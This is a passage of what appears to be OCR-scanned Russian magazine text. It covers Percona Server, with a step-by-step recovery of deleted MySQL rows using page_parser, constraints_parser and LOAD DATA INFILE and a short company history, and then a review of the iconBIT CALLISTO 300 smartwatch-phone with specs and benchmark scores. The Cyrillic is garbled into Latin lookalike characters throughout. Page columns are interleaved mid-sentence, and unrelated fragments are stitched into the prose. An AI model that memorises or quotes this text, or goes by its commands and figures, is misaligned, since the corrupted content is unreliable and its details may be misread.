Recovery apdeKkTVBHO NPUXOAUT HA MOMOLLb.

B uenom, HecmMoTps Ha To 4To pebsaTa n3 Percona pekomeHay-
0T 32 BOCCTAHOBIEHNEM [aHHbIX 06paLLaTbCs K HAM, 3TO BMOHE
rOTOBbIN K yNoTpebeHno NPoAyKT, KOTOPbIV Tbl MOXeLLb NCMOSIb-
30BaTb caM, ecnv rpsiHeT 6epa. K npumepy, B ciyqae HeyaaqyHoro
angeinTta B 6a3y UM yoaneHns Kakmx-To AaHHbIX anropuTM BOC-
CTaHOBNIEHNS B OOLLMX YepTax BbIMMAANT BOT Tak:

1. OcraHaBnvBaem 6asy.
2. BebiTackuBaem u3s Hee ibd-dainuk Tabnuubl, KOTOPYIO NONOPTU-

.

3. Pasbupaem daiin Tabnmupl Ha OTAeNbHbIE CTPaHULLbI:

# ./page_parser -5 -f data/vip_data_crashed.ibd
Opening file: data/vip_data_crashed.ibd:

[...]

23.15% done. 2014-08-14 13:10:08 ETA~

(in ©0:00 hours). Processing speed:101357600 B/sec

4. napCVIM nony4yeHHble JaHHble B MOUCKaxX AAaHHbIX, MOMEYEeHHbIX
KakK yaaseHHble:

# ./constraints_parser -5 -D -f pages-4321221407/«
FIL PAGE_INDEX/©-23/ > data/vip_data_crashed.«
recovery

5. Pykamu BbIGMpaemM n3 nosly4eHHOro Tofibko Te AaHHble, KOTopble
Mbl TOXEPUSIN CIyHaNHO.

6. 3anvBaem HalvioeHHble daiinbl B Tabnuuy vyepe3d LOAD DATA
INFILE.

mysql> LOAD DATA INFILE '/root/recovery-tool/«
data/vip_data_crashed.recovery' REPLACE INTO«~
TABLE “vip_data_crashed” FIELDS TERMINATED BY.:
'\t' OPTIONALLY ENCLOSED BY '"' LINES STARTING BY«
'datastring\t' (name, from_date, index, date);

Bonble petane MOXHO HaTM B LAOKYMEHTaUMWM Ha can-
Te Percona (www.percona.com) u B ux 6nore (www.
mysglperformanceblog.com), koTopblii pebaTa Benu ewe Ao no-
aBneHva Percona, eCnn MHe HUYero He N3MeHsIeT.

OTKYAAECTDb NMOLUJIAPERCONA

MéTp 3aiueB HeCKONbKO NeT Ha3ag, Obin TUM-
NIMAOM B OTAENe BbICOKMX Harpy3ok B Komna-
H1M MySQL Inc., padpaboTynke 0AHOUMEHHON
6a3bl gaHHbIX. B 2006 roay METp coBMECTHO
¢ Bagumom TkayeHKO OTKPbUIM KOMMAHWIO
Percona, OCHOBHbIMU LIENSIMU KOTOPOI Bblnn
TEXHMYECKasi MOAAEPXKA M KOHCYNbLTUPOBA-
Hue no pabote ¢ MySQL, oby4yeHne nHxeHe-
poB. Euwe c no-Percona BpemeH BefeT 6nor
(MySQLPerformanceBlog.com), B KOTOPOM
OennTca cekpetamu no onNTMMM3auunmn U TOH-
Ko HacTpoiike MySQL-cepBepoB.

Bagum TkayeHko Oo ocHoBaHus Percona
Takke pabotan B High Performance Group
B MySQL Inc. okono u4eTtbipex neT. Bwme-
cte ¢ MNMetpom n BapoHom LlBapuem (Baron
Schwartz) B 2008 romy BbINYCTUAN KHUTY
«High Performance MySQL» B nsparenbcree
O’Reilly.

Co BpemeHem Percona Havanu pacTtun
N paclumpsaTb Kpyr uHTepecos. 3aBenn cob-
CTBEHHYIO €eXerofHyl KoHdepeHuuio, mno-
ceaweHHyio MySQL, — Percona Live MySQL
Conference, perynsipHo nNpoBOAST B Pa3HbIX
TOYKax niaHeTbl HebosbLUMEe TEXHUYECKME TPpe-
HWHIM nopg, HaseaHnem Percona University. [o-

Aenaem pamnu co-
GupaemM cTaTUCTUKY
pt-query-digest

Pt-ioprofile u noponeiT-
HbIi MySQL
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1
word_

pabartbiBaloT opurinHanbHbli kog, oT Oracle, ncnpaBnsioT owmoKu,
BbIMYCKaIOT NMoA, CBOOOAHBIMU JIMLEH3NAMN COBCTBEHHBIE UHCTPY-
MEHTbI 1 pa3paboTkM, NPUHUMAIOT 3aKa3bl HA Pa3pPabOTKy HOBLIX.

3AKJTIOMEHME

Kak BMauLb, Nporpecc COBCEM He CTOUT Ha MecTe. U npuBbly-
HbIi MYCKYN OH He oboluen CTopoHoi. M paxe HecMoTpsi Ha To,
41O GOsbLUNE MOKPOBUTENN Java He O4eHb-TO CTapaloTCs AJif ero
pas3BuTUS, 3TO EMY HMKAK He MeLlaeT. Percona Server yxe ceinyac
MOXHO 6e3 0c060I 60513HM MCMOJIL30BaTL B NpoAakLueHe. Hanpu-
Mep, Y HaC OH KPYTUTCS yXe B HECKOJIbKMX NPOEKTax 1 B LesIoM
nepxut go 7-10 queries-per-second Ha MPOEKT N HE XYXOKUT.
Yero n Tebe xenato :). 30

rror .TRG
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LINMOHCKMK
YACODOH

BONbLUMHCTBO HaLLNX YUTA-
TeNnenm HaBepHsika CMOTPENn
dUNbMbl MPO CEKPETHbLIX areH-
TOB, rae Kakom-Hnbyab [>xenmc
BoHA oHOM NEBOW packu-
ObIBan TOJIMNbl BOOPY>KEHHbIX
BparoBs, NOMNyTHO COONa3HANA
O4YepeaHyo cekcanuibHYO Kpa-
COTKY, Nagan c HebockpeboB.,
noJsly4yan NyaeBble PaHEHUs,

a 0Ka3aBLUMCb B 3MULEHTPE
B3PbIBA, /IMLLb NONPaBAKAS Cler-
Ka pacTpenaBLlyoCs NPUYECKY.

Yy a C LLIeHTPOM YNpaB/ieHUsi HAaLl repoi HEM3MEHHO

BbIXOAMW1 Ha CBSA3b C MOMOLLBIO 4ACOB, 4TO A0 He-

[AaBHEro BpemMeHu Kasanocb ¢paHTacTukon. Ho He-
TEXHWYECKHUE CKOMNbKO fIeT HAa3az, Ha NpuiaBkax NosBUIMCH Nep-
XAPAKTEPNCTHUKH Bble «yMHbIe» 4ackl, @ B 2014 rogy HoCMMas 3NeKTPOHMKA Tak
8 1 BOBCe CTajia HacTosLWMM TpeHaoM. OgHako 60NbLUMHCTBO
G T T s A AR Al B noao6HbIX ragxeToB 6e3 TBOero cMapTdoHa pesko «ryne-
NMpoueccop: MediaTek MT6572, 2 spa Cortex-A7 o 1,3 Iy 0T», NMpeBpaLlasicb B caMble 0ObIKHOBEHHblE 4Yackl. K cua-
OnepatueHas namsatb: 116 CTblO, repoli Hallero cerofHsilHero o63opa He M3 Takux:
MocTosnKas namsaTs: 8 16 + microSD no 32 b OH MOXeT abCOMOTHO CaMOCTOATENbHO 3BOHUTL, MPOKMa-
;i:t:KTPSMflé?Oz’ﬁgx o PP AblBaTb MapLIpyThl, BbIXOOUTb B MHTEPHET, CHUMaTb BUOEO,
Casiab: GSM 850/900/1800/1900, 3G/HSPA/HSPA+ (2100) npourpbiBatb My3blky, 3anyckatb 3D-urpbl 1 BooOLLE Bbl-
Wntepdeiicei: Wi-Fi 802.11b/g/n, Bluetooth 3.0, NoNHATL BCe GYHKLUMM COBPEMEHHOro cmapTdoHa. Mo cytu,

KOHHEKTOPbI 0K-CTaHLWUK 3TO M €CTb MOJIHOLLEHHbIN CMapTdOH C ABYXbAAEPHbLIM NPO-
Darumnku: GPS, akcenepomeTp, KomMnac

Kamepa: 3 Mn ueccopom 1 1 6 onepatuBHoW namsitn B dopmM-dakTope
AKKYMYNSTOP: CheMHbii, 600 MA + 4 4acoBs, NMpu4yeM B MeTa/NIM4EeCKOM KOoprnyce, 3alinLLeHHOM
Paamepbi: 54 x 45 x 14 MM OT nonagaHus Bnarv v neinn. N npm sBcex 4OCTOMHCTBAax CTONT
Macca: 76 r 3TO 4yA0 TEXHUKWN padyMHble 8 Tbicay pybneii. A 30BYT Hallero

Liena: 8200 pybneit rocTsi iconBIT CALLISTO 300 — yachl 4151 HACTOSALLMX CEKPET-

HbIX areHTOB 1 HE TOJIbKO.
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InaBHOe MeHI0 cmapT- HUS K CrneumanbHOMY KENcy, KOTOpbI, B CBOKO o4epedb, Noa-
¢donaiconBIT CALLISTO COEeAMHSAETCS K MCTOYHUKY NUTAHMS 1 3apskaeT Yacel. fopa3po
300. HaakpaHe pas- 6onbluee pa3oyapoBaHue BbI3biBAeT OTCYTCTBUE 3,5-Munnnme-
MEepOM CO CNUYeYHbIV Tposoro Mini Jack pasbema, 4TO AenaeT HEBO3MOXHbLIM Moa-
KOPOGOK MOXHO Aaxe KNOYEeHMEe NMPOBOAHbLIX HAYLIHWUKOB, pa3roBapvBaTtb U ChyLliatb
urpaThb B Urpbl My3bIKy Npuxoantcs nnéo no Bluetooth-rapHutype, nnéo yepes

OCHOBHOW AMHaMWK, HO Torga TBOW Geceny ycCnbilaT okpyxa-
owme. Buanmo, takoe pelleHne 6bin0 NPUHATO, YTOOLI 0be-
CMeynTb 3aWuTy OT BOAbLl U NbiAn No npotokony IP56. 3agHsas
KpbILLKA KPEMUTCA Ha YeTblpex BUHTAax, MOA Hel pacnonoxeH
aKKyMynsiTop v CAoT noa kapty microSD, ¢ nesoro 60oka — Bbl-
OBUXHOW cnoT nog, microSIM, Takxe nNpukpyyYeHHbIn BUHTaMU,
1 0TBEPCTUE MUKPODOHA.

MexaHuyeckmne opraHbl  ynpaBieHUs  PacrnosIoOXUINCh
Ha npaBom «bBopTe» ragxetra W MpeacTaBnsioT coboi aBe
KHOMKM, OTBeYvaloLLme 3a 610KMPOBKY M BO3BPAT HA AOMALUHUIA
aKpaH. Mexay HUMK, CTUAN30BAHHbINA MO, KONEeCUKo 3aBOAa,
HaxoguTcs 00beKTMB 3-MeranuvkcenbHoW kKamepbl. CHumaTb
Ha NOCNEeAHIOI He CIULIKOM YA0OHO, MOCKONbKY B OObEKTMB
NMOCTOSIHHO NMOMafaeT TBOS Xe pyKa, Aa U An3ainHepbl MOrnu Obl
nonyywe nopaboTaTb: KHOMKM HE O4EHb-TO KPACUBO BbICTYNalOT
13 kopnyca. bonbLuyio 4acTb TMLEBOM NAHENN 3aHMMAET 3KpaH
anaroHansio 1,54 ploima, BOKPYr KOTOPOro HaHECEHbl MUHYT-
Hble HaCeuKU.

LLINMOHCKWNI «4acodOH» NOCTaBNsSeTCA B YEPHOW KyOn4eckomn
Kopobke, rae MOMUMO CaMoro ragXeTa, BOJIbrOTHO PaCMONOXMB-
LLIErocs Ha crneuvanbHOM NOAyLLEeYKe, MOXHO HalTK keinc ans 3a-
PAOKA 1 NOAKMNOYEHUS K KOMMNbIOTEPY, MWHU-CTUAYC, KOTOPbIA
npw XenaHum MOXHO 3aKpenuTb Ha pemMellke, kabenb microUSB,
KPEeCTOBYIO OTBEPTKY AJ19 NOJly4eHnst AOCTyna K ciotam microSIM
1 microSD, 3anacHble BUHTbI 1 KPaTKyl OKYMEHTALMIO.

3KPAH

MasHas getans B CALLISTO, kak u B niob6om Opyrom coBpe-
MeHHOM cmapTdoHe, 6e3ycnoBHO, akpaH. B yacax yctaHoBneH
KBaApaTHbI CEHCOPHbLIN aucnner ¢ guaroHansio 1,54 aorima
n paspetweHnem 240 x 240 Toyek (220 ppi). Matpuua TyT IPS,
4TO O3HA4aeT XOPOLUYIO LiBETONepeaayy, a BOT LUMPOKMMUY yriamu
0630pa 4acbl NOXBACTATLCS, K COXaNneHuto, He MoryT. Kpome Toro,
3KpaH O4YeHb OT3bIBYMBLIA, MTHOBEHHO pearvpyeT Ha maneiee
NPUKOCHOBeHVe. B pononHeHvne ko BCeMy MMeeTcs noaaepxka
MyNbTUTaY A0 NATU nanbLeB (6onblie s NPoCTO He CMOr rnocTa-

VnpaBAeHue nepepaﬁomaﬂo: a[lﬂ aKmuBaL"uu BWTb Ha Hero). YAMBUTENbHO, HO Ha TAKOM MUHMATIOPHOM 3KpaHe

BMOJIHE YA0BGHO nrpatb B HEKOTOPLIE UIPbl 1 AaXe NoSIb30BaTbCs
KomaHOvl «Ha3ad» Heobxo0umo sblnoAHUMb QWerty-KNaBMaTYOM (KENATENbHO C NOMAEPKKON SWype): KOnH-
4ecTBO OLLII/160K MUHUMAJIbHO. PasHmu.a Mexagy MUHUManbHbIM

CBCH:[H Cc ZpaHLlu,bl 3KpaHa 3/‘360, a maKOa 1N MaKCVMaJsibHbIM YPOBHSIMU APKOCTU HE OYeHb BosbLuasl, K ToMy

e OTCYTCTBYEeT aBTomMarmyeckasi peryimposka. JJaxe B COfHeu-

>’(e CBaan Bnpaeo Om,(poem MEHw HbI AeHb YNTAeMOCTb Ha 9KpaHe OCTaeTCcs OTIMYHOM (B TOM YUC-

BHELUHUMA BUA U KOMMNNEKTALUUSA

Mpw nepBOM B3rnsae Ha Yacbl CPady CTAHOBUTCS MOHSATHO, YTO OHU
SIBHO He MOZOoNAyT AN U3SILLHBLIX AEBMYbMX PYYEK: CIIULLKOM YX
OpyTanbHbIMM U MACCUBHBLIMW OHW KaxyTcsl. TonwmHa B 14 mm
ANsa Hapy4YHOro rag)eta, KOHe4YHO, Besinkosarta, HO npu 3Tom ae-
BaliC BECOM B 76 I pyKy OTTArMBAET HE CUJIbHO, @ Yepes napy AHen
HOLLeHWs AnckoM@opT 1 BOBCE NepecTaellb owyarts. CALLISTO
300 cocTouT 13 AByX OCHOBHbIX YacTeit: koprnyca u pemeLuka. MNo-
CNeaHUI BbIMOMHEH U3 MMMNOANIEPreHHON MSArKON Pes3unHbl C nep-
$OPMPOBAHHLIM MOKPBLITUEM, a 3acTexka — W3 HepxaseroLen
ctann. OH J0BOJSIbHO MPOYHbIA, HE MOABEPXKEH 3a5oMaMm, He B3a-
MMOLENCTBYET C BOOHOW CPenoi 1 npu 3TOM AOBOJIbLHO NPUSATEH
0151 KOXU, OQHAKO MPU CUbHOM MOTOBbIAENEHNN MOXET Croco6-
CTBOBaTb HEGONbLIOMY pa3gpaxeHuto. PemeHb npegHasHadeH
He TOJbKO AJ151 HOLLEHWS YacOoB Ha pyKe: B Hero, 4YTo6bl 0cBO60ANTL
nobosbllue MecTa As1s 6atapen BHYTPU KOPMyca, BCTPOEHbI MOAy-
nn GPS, Wi-Fi n guHamuk. Mimeetcsa 1 obpatHas CTOpoHa mena-
NI — pPeMeHb He CbEMHbI, MO3TOMY, €C/IY OH MOPBETCS, NPUAET-
CS1 MATU B CEPBUCHBIN LLEHTP. B npoaaxe nmetotcs moandukaummn
C KPacCHbIM 1 YEPHBbIM PeMeLLKaMu.

Kopnyc CALLISTO, n3roToBneHHbI N3 antloMUHUSA C HePHbIM
nokpbITUEM, MeeT GOopMy NPSIMOYrOJIbHOrO Napannenenuneaa
CO CKpyrneHHbIMu pebpamu. MNpu ocMoTpe Ha HEM He oBHapy-
XWBAETCS Pa3beMOoB, @ TOJMbKO YeTbipe MaNeHbKUX KOHTaKTa
Ha 3afHel NOBEPXHOCTU. IMEHHO OHW CRyXaT AJisa noakioye-
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nie Gnarogapst Ka4eCTBEHHOMY aHTMONMKOBOMY GuUIbTPY), @ BOT
B TEMHOTE NMOACBETKA C/IMLLKOM CUNbHO «6beT» Mo rnasam, Ho ee
BMOJIHE MOXHO WCMOJIb30BaTb, 4TOObI MOACBETUTb 3aMOYHYIO
CKBaXUHY.

AMMNAPATHASI HAMMHKA

WHxeHepbl iconBIT He nockynuance n ocHactunm CALLISTO
300 cBepxMOLLHbIM (A5 YacoB) xenesom. MNog MeTannmyeckon
KPbILLKOIM ycTaHoBNeH npoueccop oT MediaTek MT6572 ¢ nBy-
Msi aHeproaddekTBHbIMU gapammn Cortex-A7 vactoton 1,3 Ty,
1 rpacduyeckum ymnom Mali-400 MP. OnepatrBHoO NnaMmsaTn 34eCb
1 I'6, a NoCTOAHHOM 8 M6 C BO3MOXHOCTbIO pacLUMpPEeHns 3a cyeT
microSD o6bemom ao 32 6. Benay HeGonbLIOro paamepa akpaHa
TakMx annaparHbiX BO3MOXHOCTEN XBAaTUT YacaMm «3a rnasa». Te-
CThbl BbIAAIOT KONIMYECTBO «MOMyraes», CPaBHUMOE C TenepoHamun
NBYXIOAVNYHOW AA@BHOCTM, HO NP 3TOM naroB B paboTte nHtepdei-
ca 3aMeyeHo He 6blIo, Aa U CoOBPeMeHHbIe 3D-Urpbl B GONbLIMH-
CTBE CBOEM He XayloTCs faxe B peXnme MHOro3agaqyHoCTu.

MonHoueHHbiM cMapTdoHom CALLISTO aBnsetcs B nep-
Byl0O oyepenb Gnarojaps pagvmomogmynio, paboTtawuemy B 2G-
n 3G-cetsix. CeTb annapat JOBUT XOPOLLO, MOTEPb CBSA3U HET,
3BOHKM 1 SMS npuHMMaioTcs cTabunbHO. MPOMKOCTb Y AMHaAMMUKA
BbICOKasi, MO3TOMY BCE OKpy>XatoLume 6yayT B Kypce AeTanei TBo-
ero pasroBopa, a HEKOTOPbIX AaXe LLIOKMPYET TO, YTO Thl pasrosa-
pvBaellb ¢ Yacamu. Mpy 8TOM Ha APYroM KOHLIE «MPOBOAA» Clibl-
LUIMMOCTb BYIEeT XOTb U He naeasnbHas, HO BMOJIHE Npuemsemast.
K cyacTblo, y Hawero ragxerta umeetcs nogaepxka Bluetooth,
MO3TOMY FapHUTYPY K HEMY MOAKMOYUTL BCE Xe MOXHO. Wi-Fi
1 GPS paboTaloT NpoCcTo OTANYHO: Ans paboTbl 4OCTATOYHO Aaxe
cnaboro curHana, a Ha MoMcK CMyTHWKOB CMapTPOH noTpaTtun
npwv XoNnogHOM CTapTe MeHee MUHYTHbI. B yachbl YCTaHOBJIEH TakKXe
G-CEeHCOop 1 3NEKTPOHHBI KoMMac.

Kakoli e CekpeTHbI LUNMOHCKWUIA ragxeT 6e3 BCTPOEHHOM
Buaeokamepsbl? Mpu 3TOM NOCNeAHss pacrnonoxeHa Takum 06-
pa3oM, 4To 06BEKT CbEMKU AANEKO HE CPa3y A0rafaeTcs, YTo ero
cHumatoT. KadectBo cdoTorpacduin cpegHee (paspelleHne 3 Mn,
6e3 aBTodOKyCa W BCMbILIKM), @ CHUMKM MOay4aloTcs KBaapar-
HbIMW, HO AN19 couceTeli BNonHe croguTcs. EcTb pacnosHaBaHne
ynblOKM, CepuiiHas Cbemka, aBTOCMYCK, HECKONIbKO PEeXUMOB
CbEeMKM, HACTPOIikn 6anaHca 6enoro 1 gaxe HECKOJIbKO BCTPOEH-
HbIX GuNbTPOB. Buaeo 3anucbiaetcs B dopmarte 3GP B paspelue-
HuM 864 x 480 nukcenen, Npy 9TOM Ka4eCcTBO AOBOJIbHO XOpOoLUee.
K ynpaBneHuio kamepon npuaeTcs npuBbikaTb: M3006paxeHue
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Total: 3090 m CPU: 5525

IToddepskusaromcs noumu ece npozpammat

U 3HAYUMeAbHOe KOAUYecmao uzp, 4mo no3sonsem
HadeAums «UWNUOHCKUE Yacbl» HeobxXo0umsim
mebe nomeHuyuanom

nosepHyTo Ha 90 rpagycoB 1 NafoHb HAXOAMTCS B Mosie 3peHus
006bekTMBA, a 419 BUAEOCBS3M OCTPO He XBaTaeT kamepbl, pacmno-
JIOKEHHOW B BEPXHEN NAHENN.

ABTOHOMHOCTb

Haw 4yno-cmaptdoH o60pyaoBaH AOBOSILHO CKPOMHbLIM MO CO-
BPEMEHHBIM Mepkam akkyMynsitopom Ha 600 MA + 4, Ho 6naro-
[aps ManeHbKoMy 3KpaHy 1 aHeproaddekTMBHOMY NpoLeccopy
pab6oTtaeT CALLISTO 300 0oBOSIbHO A0NMO, & HEMOCPEACTBEHHbIN
CPOK XWN3HM 3aBUCUT OT TUNa NCMNoNb30BaHWs. Ecnu 103atb ragxeT
B KayecTBe OCHOBHOro TtenedoHa: 3BOHWUTb C Hero, OTNpaBasaTb
n npuHuMatb SMS, cnywarb My3biky, doTorpaduposarb, 06-
LLAaTLCS B COLICETSX, MCMO/b30BaTh B Ka4eCTBE HaBuratopa, pabo-
TaTb C MOYTON M HEMHOIO UrpaTb, — TO 3apsia XBaTaeT Ha CYTKU.
Mpv BTOPOM TUMNE NCNONb30BaHNS, KOrAa AeBanc HaxoaUTCs B pe-
XMMe «CaMoneT» 1 6OMbLLYIO YaCTb BPEMEHWN OCTAETCS HEMOCPEa -
CTBEHHO Yacamu, Nub M3peaka chyxa Ans Mosy4yeHUs noyTbl
1 pasnuyHbix yegomneruii, CALLISTO npoxuBeT 6e3 «ao3anpas-
Kn» OHeln naTb. B xooe TecTnpoBaHUs ONpenenuncs v rasHbI
«CXuratesib 3Heprum» — Moaysb COTOBOW cBA3W. B AnTuTu Tester
annapat HabupaeT 3642 6anna, 4To HEMHOro MeHblue Nexus 5.
MonHas 3apsiaka Yepes KOMIMIEKTHYIO MOACTAaBKY 3aHMMAaeT BCEro
40 MVH, NpY 3TOM NONb30BATLCS YCTPONCTBOM HENb3S.

Yacbl MWHMWATIOPHbIE
unnerkue, Bo BpemMms
HOCKU UX HE YYBCTBYeLlb
BooGLe. Uxnerko no-
TepsiTb UHE 3aMeTUTb

NMPOrPAMMHOE OBECNEYEHUE

PaboTaeT YacodoH Ha nonHoueHHoM Android 4.2.2 Jelly Bean
CO cneuyanbHoi 060/104KOM, ONTUMN3NPYIOLLEN PaboTy C UHTEpP-
dericom Ha ManeHbkom aucnnee. Ha akpaHe 6710kMpPoOBKM 0ToOpa-
aeTcs 0AVH U3 BoCbMu Lncdep6naTos. Bce MKOHKM NPUNoXeHni
CrpynnuMpoBaHbl MO YeTbIpe Ha Kaxa0M 3KpaHe, Npu 3Tom dakTu-
4yecku OTCYTCTBYIOT paboume CToNbl, BCS HAaBUraums OCYLLLECTBIS-
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eTcsa no pasaeny «[punoxeHuns», NPyU HaXxaTun Xe KHOMKN «Jom»
nonagaellb B Ha4ano cnucka. Mo aTto xe npuymHe He paboTtatoT
BUOXETbI, HO €CTb BO3BMOXHOCTb CrpynnmpoBaTtb ApJibIKX B Manku.
Camoe rmaBHoe, 4TO Ha ragxeT yctaHoBneH Play Market, koTopsbii
naet poctyn 6onee yem k 700 TbicsY NpUNoXeHuii (60NbLUMHCTBO
M3 HUX NOAAEPXUBAIOTCS YCTPONCTBOM), YTO BbIFOAHO OTMYaeT
CALLISTO 300 ot gpyrrx 4yacos, rae 4OCTynHa napa AecsTKOB Npo-
rpamMm. I COOTBETCTBEHHO, €CNN Thbl XXUTb HE MOXeELLb 6e3 BUaXe-
TOB, TO MOXHO JIErko NOCTaBUTb APYro nayHyep.

YnpaBsneHve Toxe nepepaboTaHo: Ans aKTMBALMW KOMaHAbI
«Hasapg» Heo6x0aMMO BbIMOAHUTL CBaWin C rpaHunLpbl 3KpaHa Bre-
BO, @ TakoW Xe CBaiin BNpaBO OTKPOET MeH0. YToObl U3MEHUTb
rPOMKOCTb, CnefyeT yaepXaTb Haxartol knasuly GNOKMPOBKM
1 B MOSIBUBLUEMCS MEHIO TamnHyTb HA COOTBETCTBYIOLLYIO KJ1aBULLY.
YaepxaHue KHomku «[loM» npeaocTaBnsieT AOCTYN K AUcneTyepy
3apad. K takomy ynpasneHunio 6bICTPO NpuBbIKaeLLb.

[ns yno6cTea nCnonb3oBaHNs BCE HACTPOWKMN CrpynnvpoBaHbl
B NSITb pa3aenos: <becnpoBogHble ceTu», «YCTPOUCTBO», «JINYHbIE
naHHble», «Cnuctema» n «Smart mode». Mo nepBbIM YeTbipemM pac-
npeaeneHbl CTaHgapTHbIE HACTPOKkK Android, a NaTbI No3BoNsET
MeHSATb pexumMbl paboTbl rapxxeTta: Normal mode, Sport mode (He
Nno3BONSET YCTPONCTBY NEPEXOAUTL B CNSALLMIA PEXUM BO BPEMS
noacyeTa TBomx wwaroe) 1 Watch mode (ragxeT paboTaeT TOsIbko
B KayecTBe 4acoB, OCHOBHOW akpaH OC He BknovaeTcs). Oneva-
NIMBAET TONLKO TO, YTO AA@Xe B NOCNeAHeM pexmme, 4Tobbl MTOCMOo-
TPETb BPEMS, MPUAETCH HaXaTb Ha KHOMKY.

3 npeaycTtaHOBNEHHbIX TONbKO CTaHAapTHble ansg Android
NPUNIOXEHNs!, OQHAKO BCE YCTAHOBJMIEHHbIE MHOWN MPOrpamMmbl
13 Play Market (Skype, BKoHTakTe, Mail.ru, Viber, Angekc.MeTpo
1N MHOrve Opyrve) He ToNbKO paboTanu, HO U MMenu AOBOJSIbHO
ynobHbIi nHtepdeiic. Kpome Toro, npekpacHo paboTtann Takne
urpsl, kak Cut the Rope, Dead Trigger, SoulCraft unu Temple Run.
MNpn BCEM 3TOM He GbIO 3amMeyeHO MoAfarvBaHWiA, 3aaepxek,
nepesarpy3okK 1 NPoYMx HENPUATHOCTEN.

BMEYATJIEHUA OT PABOTbI

Hy a Tenepb nepengem, HaBepHoe, K rMaBHOMY pasgeny, rae
S MOAENOCh CBOVMMM BrEYaT/IEHNAMU OT pPaboTbl C ragXeTom,
NPOCYMMMPOBAB BCE €ro JOCTOMHCTBA U HepocTaTku. CTouT oT-
METUTb, YTO NepBbIX ropadao 6onbLle, 4em BTopbIX. HOCUTb Yackl
KOM@OPTHO XOTb LENbI AeHb: PYKY OHU HE CUJIbHO Harpyxartor,
BHELLHE CMOTPATCS BNOJIHE CTUbHO. Kpome TOoro, 4achl 3atumie-
Hbl OT BOAbI U MbIAKX, NO3TOMY HE BbIAAYT U3 CTPOSI, €CNU Ha HUX
nonagyT kanan poxasa. MHtepdenc xopowo onTUMU3NPOBaH,
ynpaBnaTb CMapTHOHOM YAOOHO, MPY 3TOM HUYErO HE TOPMO3UT.
Hanunune kamepsbl ewe oamH XUPHbIA nnoc. O4eHb UHTePECHO
npocmarpmeaTtbh Kaapbl, CAeNaHHble C pakypca C KOTOPOro CMo-
TPUT Ha MUP TBOSI neBas pyka.llocne mecsiua MCnonb30BaHUSA
ragxeTa s MOHsAM, YTO HEKOTOPbIMU PYHKUMSIMU HAMHOMO ya06-
Hee NoNb30BaThCs C 4acoB, HAMPUMEP, MOXHO 06LaTbCcs 6e3 He-
06Xx0AMMOCTM 4TO-TO Aepxatb B pykax. CALLISTO 300 nosso-
nFeT gaxe MOJSIHOCTbIO 0Tka3aTbCH OT OCHOBHOMO CMapTdOoHa,
Nnockonbky Ay6nmMpyeT Bce ero GyHKUMK, Npu 3TOM He 3aHumast
MEeCTO B KapMaHe u n3baBnss 0T HEOOXOAMMOCTU BbITACKMBATb
TenedoH npu 3BOHKe. Ecnn xe Tbl He Xoyellb Habupatb SMS
BPYYHYIO, TO 34€Cb OTIMYHO paboTaeT rosiocoBoi Habop TekcTa
oT Google. Ho 6osiblue BCEro MeHsi yaMBUIO, YTO ragXxeT u3 Ko-
pPO6KN NpeKpacHO B3aMMOAEWNCTBYET C dnell-aHuMaumnen, no-
3BOJISIA, HANpUMep, urpatb B 6pay3epHble Urpbl, NOCTPOEHHbIE
Ha 3TOW TEXHONOrnN.

KoHeuHo, He BCce Tak Cnafko B ragxeTe, kak XoTenock 6bl. Ha-
npumep, 4tobbl BCTaBuTb SIM- nnu microSD-kapTy, npuaetcs
NPOV3BOAMTL HACTOSILLYIO XMPYPrUYECKY0 onepauuio pasbop-
K1 4acoB, a 3aTeM BO3BpaLlaTb BCE Ha MECTO, U €CNU Tbl BAPYT
3axoyelllb CHATb PeMeLUoK, TO 06paTHO ero TOYHO He npuae-
naewb. [ns 3apspa akkymynsitopa HeobxoAyMa [OK-CTaHUms,
Tak 4TO HE MONy4nTCs MPOCTO MOA3aPSAWTb Yackl Ha paboTe,
npv atom npu paspsne 6arapen cbpacbiBaeTcs Aata U Bpems,
XOTS NONHbIV 3apsa Bcero 3a 40 MMH — 3TO HECOMHEHHbI Moc.
Y3HaTb Bpemsi, NPOCTO B3MSHYB HA 3KPaH, HeNMb3si — A5t 3TOro
HY>XHO 06513aTeNbHO HaXxaTb Ha KHOMKY, a Ans CbeMku GOoTO 1 BU-
[e0 NPUXOAMTCS CUIbHO BbirMbGaTh pyKy, Aa 1 cBoe nuuo cobe-
celHuUKy no Skype nokasatb npobnemaTuyHo. A BOT Apyrve 4actun
Tena BMoJsiHe MonagalT B nosie 3peHunst kamepbl:-) M HakoHeL,
rNaBHbI MMHYC — OTCYTCTBME ayAVNO0BbIXOAa, HTO CUBHO YCIIOX-
HSIET XXM3Hb HA4YMHAIOLLEMY LUMMNOHY.
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BbiBOAbI

IconBIT CALLISTO 300 — 3T0 KOMNaKTHOE, HO B TO e BpeMsi Mos-
HOLIEHHOE YCTPOWMCTBO /19 OOLLEHUNS, @ HE O4YepPeHO akceccyap
ana cmaptdoHa. Beero nuwb 3a 8 Thicsy pybnei Tobl nonyyaellb
HaCTOSALLMIA KOMMBIOTEP CO BCEMU DYHKLMAMU N BO3MOXHOCTSI-
MUK B KOPMyce Hapy4HbIX 4acoB. MHOrO4YMCNEHHbIE AOCTONHCTBA
nepeBeLUMBalOT HeOO0CTaTku, CBA3aHHbIe NMpexae BCero C He-
06bl4HbIM POpM-dakTopoM. Ho Kk 3TO 0COBEHHOCTUN YCTPOMCTBA
ObICTPO NPUBbLIKAELLb, Kak KO BCeMY XxopolueMy. MaaxeT npekpac-
HO CMPaBSIETCS C BO3/IOXEHHBIMU HA HErO 00SI3aHHOCTSIMI U MPK-
roaMTCs He TONbKO LUMWOHAM, HO U CTyAEeHTaM AN1S CMUCbIBaHUS
Ha 9K3aMeHe, BOAMTENAM, KOTOPbIM 60JIbLLE HE HYXXHO OTBJIeKaTb-
Cs1, 4TOObl OTBETUTL HA 3BOHOK, TEM, KTO YacTO 3abbiBaeT CBOW OC-
HOBHOW TenedoH AoMa, NyTelleCTBEHHMKaM — 3aMepsiTb NPoWi-
AEHHblE KMNOMETPbI, HE 3aHVMMasi MHOr0 MecTa, a Takxe BCEeM
NobUTENAM HEeOObIYHbIX 1 NoJIe3HbIX ragxeTos. IconBIT CALLISTO
300 — 9TO AOCTOVHbIN NPOAYKT B CBOEM HULLIE U CEPbE3HBbIN Lwar
Ha NyTu Pa3BUTUA HOCUMOM 3NEKTPOHMKIN. 3

PE3YJIbTATbl TECTUPOBAHUS

0

Quadrant Standart: 3090 points

AnTutu Benchmark: 9496 points

Vellamo (Internet): 1311 points

Vellamo (Metal): 610 points

